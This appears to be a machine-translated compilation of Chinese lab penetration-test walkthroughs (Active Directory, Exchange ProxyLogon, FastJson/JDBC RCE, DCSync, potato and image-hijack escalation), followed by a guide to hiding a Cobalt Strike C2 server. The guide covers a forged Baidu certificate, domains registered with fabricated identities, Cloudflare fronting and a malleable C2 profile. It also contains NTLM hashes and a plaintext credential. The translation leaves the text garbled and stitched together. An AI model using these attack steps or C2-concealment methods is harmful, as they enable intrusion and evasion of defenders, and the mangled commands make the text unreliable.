172.22.4.45 win19.xiaorang.lab

flag01プロンプトユーザー名+ rockyou.txtを使用して爆発し、有効な資格情報(プロンプトパスワードの有効期限が切れる)を作成します。システムでマシンアカウントを取得します。

デスクトップimageには、この列に従ってください。現在のユーザーAdrianは、レジストリimage image権利を完全に制御しています

MSFvenomはService Horseを生成し、SAM.BAT imageを実行します

sam.bat image

レジストリを変更してサービスを有効にすると、デスクトップはSAM、セキュリティ、システムimageを取得します。 Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:BA21C629D9FD56AFF10C3E826323E6AB3:33333333:3360

$ Machine.ACC: AAD3B435B51404EEAAD3B435B51404EE:917234367460F3F2817AA4439F97E636image

flag02 imageマシンアカウントを使用したドメイン情報の収集トリガーを強制的にWin19に戻し、DC01 image imageBase64のTGTデコードのTGTを取得するためにDC01.KIRBI imageDCSYNC Get Domain Managements image

0x04 PWING WIN19-172.22.4.45

PSEXEC-FLAG03 image

0x05 DCテイクオーバー-172.22.4.7

ヒントのマスターアルファブグ(0x03-0x04)に感謝します。 https://www.freebuf.com/articles/web/352151.html

0x00イントロ

OSCP浸透スタイル、C2やMSFなどのツールを残すことは難しくありません

0x01情報

TAG: JDBC、Exchange、NTLM、COERCE認証、DCSYNC napv2xepems3012.png

0x02 Recon

ターゲット外部IP39.98.179.149NMAP結果zcf0nwzlb1z3013.png 8000ポートに直接従います。私は以前にすでに80を逃したことがあり、直接合格するものはありません。pawphea1rc03014.png Huaxia ERP、多くの抜け穴があり、エントリポイントは長い間立ち往生しており、後でJDBCを見て、Google検索後に兄の記事を直接検索しました。

FastJsonのハイバージョンマジックトリック-BMTH (bmth666.cn)(http://www.bmth666.cn/bmth_blog/2022/10/19/fastjson%E9%ABA98%E7%89%88%E6%9C%AC%E7%9A%84%A5%A5%87% E6%8a%80%E6%B7%AB%E5%B7%A7/#%E8%93%9D%E5%B8%B8%BD%E6%9D%AF2022%E5%86%B3%E8%B5%9B-%E8%B5%8C%E6%AA)構造ペイロードzivwxuyr0re3015.pngConfigure mysql_fake_server 3x5yycchxzqq3016.png unauthorized + mysqlコネクタJDBCデシリア化の組み合わせパンチダイレクトRCE nbedklispgr3017.pngrce直接買収後の直接取得後kyi51fgprvv3018.png6950660kyi51fgprvv3018.png

0x03エントリポイント:172.22.3.12

SMB SMBは、イントラネットホストをスキャンし、Exchangeキーワード(EXC01)を確認し、i52qwlfsc2l3019.png172.22.3.9にアクセスしようとします。 Exchange mvh1xfvyus13020.pngProxylogonを直接倒して、システム許可を取得するr5rq5ru3mwa3021.png cymhdpuosf33022.pngFLAG02(その後の短い資格情報コレクション)ohwcb4ytjow3023.png

0x04エントリポイント:172.22.3.9

Fast Forward 1:Exchange Machineアカウントのハッシュが収集されました2:同時に、ドメインアカウント資格情報が収集されました:Zhangtongは上記の操作を通じてExchange Machineアカウントのハッシュを収集しました。 Exchange Machineアカウントには、ドメイン内のドメインオブジェクト全体のACL許可が書かれています。次に、dacledit.pyを使用してZhangtongにDCSync権限を追加します(実際、DCSYNCを自分に追加することもできます)3j14y3zjn2x3024.pngDCSYNCとユーザーLumia lzvg4y3en3w3025.pngのハッシュを取得して172.22.3.2.2.3.2.2.cymhdpuosf33022.png-6951cymhdpuosf33022.png10149514951495149514951495149514951013

0x05ファイナル:172.22.3.26

172.22.3.26 4t2idhth31u3026.pngを超えるLumiaユーザーフォルダーにsecret.zipがあります。 attachment, which is full of mobile phone number ipagftkwhtb3027.png Regular operation, convert to a hash in pkzip format and runs the dictionary, and runs out the password gidqi1a5gxb3028.png rruinddbngu3029.png e0d3ffs2e403030.pngflag03 i1prwh2nvzd3031.png rpo5rlkkkmo3032.png

0x06 outro

交換後、著者の当初の意図は、NTLMリレーを使用してDCSYNCアップグレードを完了し、交換システムの許可を取得し、WebDAVをトリガーしてLDAPにリレーすることです。興味がある場合は、以前の記事を読むことができます。著者はまた、Lumiaユーザーのパスワードを変更することを望んでいますが、私は怠け者です。直接PTHオリジナルリンク:https://www.anquanke.com/post/id/286967

0x1情報

tag:

MSSQL、特権エスカレーション、Kerberos、ドメイン浸透、RDP image

範囲アドレス:https://yunjing.icunqiu.com/ranking/summary?id=bzmfnfpvudu

0x2 recon

ターゲット外部IP47.92.82.196nmap SA:1QAZ!QAZ image

0x3エントリポイントmssql -172.22.8.18

序文、このマシンはドメインMSSQLシェルに直接はありません(ここでスクリーンショットを撮るのを忘れていました.)

getClsid.ps1を変更し、実行ポテトimageを追加します

ジャガイモとgetclsid.ps1 image

getclsid.ps1 imageを実行します

有効なCLSIDおよびコマンド実行結果image Export SAM、System、Security imageを取得する

資格情報を解決し、管理者+ psexec 139を水平に使用して(外部ネットワークは445を開けません)flag01administrator 2CAF35BB4C5059A3D50599844E2B9B1F image550-69510に来るマシンを把握するためにポート接続image管理者PSEXECを使用してMSF(システム許可)、Incognitoモジュールを使用し、Johnをシミュレートします(MSFのIncognitoのみが後続の操作を完了することができるとテストしました。image \\ tsclient \ cの下の資格情報を直接取得し、ハイジャック画像をプロンプト(ミラーハイジャック)xiaorang.lab \ aldrich:ald@rlmwuy7z!#image cme scan scan scan scan scan scan scan scan skip the cme scan skip the cme scan skip the cme scan scanマシンは、パスワードの有効期限が切れていることを促します。imageテストDC01ポート88が有効であるかどうか(ドメイン制御がドメインコントロールであるかどうかをテスト)、DC01はドメインコントロールSMBPASSWD.py 111QQQQQをリモートで変更し、imageLDAPSHELL.PYAFIFACIAL、LOGIN DOMAN列挙RDPは、172.22.8.46をログインして入力できることを示しています(公式のCME RDPモジュールを使用して、有効なRDP資格情報をスキャンしません。XFreerDPに基づいてCMEモジュールを書きました)

Xiaolichan/CrackMapexec-Extension image

0x4ドメイン浸透 - 入り口-172.22.8.46

ログインと表示Xiaorang.lab \ aldrichはこのマシンの管理者ではなく、当局を増やすための普通のユーザーです。 2つの方法

PRIV-ESC1:ミラーハイジャックの標高(一般)

get-aclはレジストリ「HKLM: \ Software \ Microsoft \ Windows NT \ CurrentVersion \ Imageファイルの実行オプション」に書き込み、操作imageを作成できます。

gmagify.exe(拡大ガラス)をハイジャックし、cmd.exeimageを実行するレジストリを作成します

ユーザーimageをロックします

拡大ガラスimageをクリックします

システムimageに権限を向上させます

PRIV-ESC2:Krbrelayupのエスカレーション

ドメイン通常の許可ユーザーは、ドメイン内のマシンを直接(型破り、推奨)

0x5ドメイン浸透-DCテイクオーバー

2つの方法Win2016 $のグループ関係を観察し、それがドメイン管理グループにあることを発見します。 DCSYNCを使用して、DC01を直接奪う(プロセスは省略)image制約委任(型破り)

Bloodhoundはドメイン情報を収集し、分析し、制約委任imageがあることを発見します

getSt.py imageを使用した制約付き委任攻撃

DC01 image

オリジナルリンク:https://www.freebuf.com/articles/system/352237.html

ツールの準備

外国人サーバー

無料クジラ(VPN)

CS 4.4

nginx

csサーバー構成

サーバーpingが無効になっています

1.サーバーPingが無効になっている場合、ホストが非アクティブであることを特定の観点から決定できます。

2。ファイル /etc /sysctl.confを編集し、それに行を追加します。 net.ipv4.icmp_echo_ignore_all=1

次に、ミッションコマンドSYSCTL -Pにより、構成が有効になります。

vim /etc/sysctl.conf

net.ipv4.icmp_echo_ignore_all=1

sysctl -p

1049983-20230227144827835-1460586883.jpg

3。その後、pingはpingできません。このようにして、NMAPはサーバーをスキャンして生き残ることができます。

1049983-20230227144828724-887380428.png

ポートを変更

1。TeamServerファイルを編集し、50050を検索し、任意のポートに変更すると、65000に変更されます

VIM TeamServer 1049983-20230227144829610-877637485.jpg

2。保存して終了し、TeamServerを開始し、ポートが変更されたことを確認します。

./TeamServer XX.XX.XX.XX Xiao

1049983-20230227144830703-410050090.jpg

デフォルトの証明書を変更

1。CSサーバーによって生成された証明書には、CSのすべての関連特性が含まれているため、ここに変更され、置き換えられます。それを変更するには2つの方法があります。つまり、キーストアを生成してスタートアップファイルを変更します。どちらに関係なく、元のファイルCobaltStrike.storeを削除する必要があります。

方法1キーストアファイルCobaltstrike.store(推奨)

を削除します

1。新しいキーストアファイルを生成します

keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg rsa -alias baidu -dname 'cn=baidu.com、ou=サービス操作部門、o=beijing baidu netcom Science Technology Co.

keytool -importkeystore -srckeystore cobaltstrike.store -destkeystore cobaltstrike.store -deststoreType PKCS12

1049983-20230227144831550-104496929.jpg

2。証明書を確認してください

keytool -list -keystore cobaltstrike.store 1049983-20230227144832343-1207281071.jpg3。サーバーを起動して、証明書の署名が同じかどうかを確認し、確認後も証明書署名が同じかどうかを確認します。

1049983-20230227144833138-1324654750.jpg

方法2スタートアップファイルを変更

1。TeamServerは、CSSサーバーを起動する起動ファイルです。キーストアの検出など、環境検出部分があります。このパートを書く方法は、キーストアを検出できない場合、コマンドを使用して新しいキーストアを生成し、ここで生成されたコマンドを変更することです。

2。TeamServerで囲まれた部品を変更する必要があります

1049983-20230227144834432-2038016818.jpg

3.次のコンテンツに変更します。

keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg rsa -alias baidu -dname 'cn=baidu.com、ou=サービス操作部門、o=beijing baidu netcom Science Technology Co.

1049983-20230227144835487-2027217953.jpg

4.元の./cobaltstrike.store keystoreファイルを削除し、次に開始すると、新しいキーストアファイルが自動的に生成されます。

RM -RF CobaltStrike.store

cdn

で非表示にします

無料ドメイン名

を適用します

1。Freenom公式ウェブサイトを入力し、中国語を翻訳し、下部に引っ張り、開発者を選択します。

1049983-20230227144836612-1216181926.jpg

2。下部に引っ張り、今日クリックしてランダムドメインアカウントを取得します

1049983-20230227144837421-401393924.jpg

3.国際的なメールアドレスを入力し、[メールアドレスの確認]をクリックします。一時的なメールアドレスを使用することをお勧めします。

1049983-20230227144838184-1636008870.jpg

4。数秒後、メールが届きます。電子メールをクリックして、確認をクリックして、Freenom Webサイトにジャンプします。現在のWebページを翻訳した後、[開発者]をクリックします。

1049983-20230227144839006-1381884576.jpg

5.ウェブサイトを最後まで引っ張り、中国語を翻訳し、クリックしてランダムドメインアカウントをすぐに取得します。

1049983-20230227144839826-1580750123.jpg

6.次に、個人情報充填ページにご覧ください

1049983-20230227144840800-1795941883.png

7. IPで選択されたアドレスはフロリダであるため、フロリダの個人情報ジェネレーターと個人情報ジェネレーターを使用する必要があり、2つを組み合わせる必要があります。

1049983-20230227144841675-865336806.jpg 1049983-20230227144842587-547291091.jpg

8。ジェネレーターに従って情報を入力してください。記入した後、チェックしてクリックして注文を完了します。アカウントは正常に登録されています。

1049983-20230227144843337-1650934063.jpg 1049983-20230227144844087-253020840.jpg

9. Webサイトのホームページに戻り、ドメイン名を選択し、xxx.tkを入力し、[可用性]をクリックし、利用可能な場合はチェックアウトをクリックします。

1049983-20230227144844825-600153102.jpg

10. 12か月間の無料版を選択し、最後に[続行]をクリックします。

1049983-20230227144845602-1239189976.jpg

11。最終注文

1049983-20230227144846398-62631944.jpg 1049983-20230227144847138-956029880.jpg

12.ドメインを選択して、ドメイン名が生きていることを確認します。

1049983-20230227144847955-2046821606.jpg

1049983-20230227144848912-1360974677.jpg

CDN構成

1。実際、CDNパーツにはかなりのオプションがあります。ここでCloudFlareを選びました

2。CloudFlareにログインしたら、[サイトの追加]を選択します

1049983-20230227144849797-584795960.jpg

3.無料プランを選択します

1049983-20230227144850575-1858358753.jpg

4. DNSレコードを追加し、保護するIPとレコードを入力します。

1049983-20230227144851699-664827035.jpg

5. xxx.tkのDNSサーバーをCloudFlareに変更します。変更が完了した後、有効になるには一定の時間がかかります

1049983-20230227144852553-675923245.jpg 1049983-20230227144853458-201526483.jpg 1049983-20230227144854220-1629371275.jpg

6.自動HTTPSをオフにして書き直し、常にHTTPSとBroti圧縮を使用します

1049983-20230227144854987-1863074172.jpg

7. [完了]をクリックします

1049983-20230227144855745-1923565084.jpg

8.次のインターフェイスが表示され、設定が有効になります。 CloudFlareを使用して、ドメイン名の解像度操作を実行できます。

1049983-20230227144856530-714652068.jpg

9. www.xxx.tkを分析してテストします

1049983-20230227144857198-628058662.jpg

10。グローバルpingを使用して、CDNが正常に追加されたことがわかりました

1049983-20230227144858256-1387941751.jpg

11.完了するようにSSL/TLS暗号化モードを構成します

1049983-20230227144859102-1493880580.jpg

CloudFlareは証明書を生成します

1。SSL/TLS-Source Serverを見つけて、CloudFlareのDashページで証明書を作成し、それぞれパブリックキーとプライベートキー、つまりServer.PEMとServer.Keyをそれぞれ保存します。生成中に保存する必要があります。そうしないと、秘密鍵が見つからない場合があります。

1049983-20230227144859811-609125808.jpg

2。証明書を申請してキーストアをパッケージ化し、証明書をパッケージ化し、ストアファイルを生成します。

openSSL PKCS12 -EXPORT -IN SERVER.PEM -INKEY SERVER.KEY -OUT www.xxx.tk.p12 -Name www.xxx.tk -passout pass:123456

//keytoolを使用して、CS利用可能なストア形式で証明書ペアを生成します

keytool -imporekeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.xxx.tk.store -srckeystore www.xxx.tk.p12 -srcstoreType PKCS12 -SRCSTOREPOREPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASS

1049983-20230227144900727-1863377161.jpg

3。証明書をHTTPSリスニング方法に構成します。申請した証明書を使用する場合は、「可鍛性C2プロファイル」メソッドを使用して操作する必要があります。ここでは、cloudflare.profileを例として取ります。 CSディレクトリに生成されたキーfile.storeを配置し、cloudflare.profileを証明書構成に追加する必要があります。注意する必要があるのは、HTTPS-ティフィフィクションが証明書関連の構成であることです。他のclient.headerのホスト値は、適用したドメイン名である必要があり、他の部分は個人的な状況に従って構成する必要があります。

//上記のStore証明書をTeamServerディレクトリにコピーします

cp ./www.xxx.tk.store/opt/cs44/

//cloudflare.profileファイルを作成します

Vim CloudFlare.Profile

//cloudflare.profileファイルコンテンツ

https-certificate {

keystore 'www.xxx.tk.store'を設定します。

パスワード「123456」を設定します。

}

http-stager {

set uri_x86 '/api/1';

set uri_x64 '/api/2';

クライアント {

ヘッダー「ホスト」 'www.xxx.tk';}

サーバー{

出力{

印刷;

}

}

}

http-get {

set uri '/api/3';

クライアント {

ヘッダー「ホスト」 'www.xxx.tk';

メタデータ{

base64;

ヘッダー「クッキー」;

}

}

サーバー{

出力{

印刷;

}

}

}

http-post {

set uri '/api/4';

クライアント {

ヘッダー「ホスト」 'www.xxx.tk';

id {

uri-append;

}

出力{

印刷;

}

}

サーバー{

出力{

印刷;

}

}

} 4。構成ファイルに問題があることを確認してください。以下は、検証のための構成に成功しています(現在のディレクトリにはcobaltstrike.jarが必要です)

//新しいc2lintファイルを作成します

VIM C2LINT

//c2lintファイルコンテンツ

Java -xx:parallelgcthreads=4 -xx:+useparallelgc -classpath ./cobaltstrike.jar c2profile.lint $ 1

//構成ファイルに問題があるかどうかを確認します

./c2lint cloudflare.profile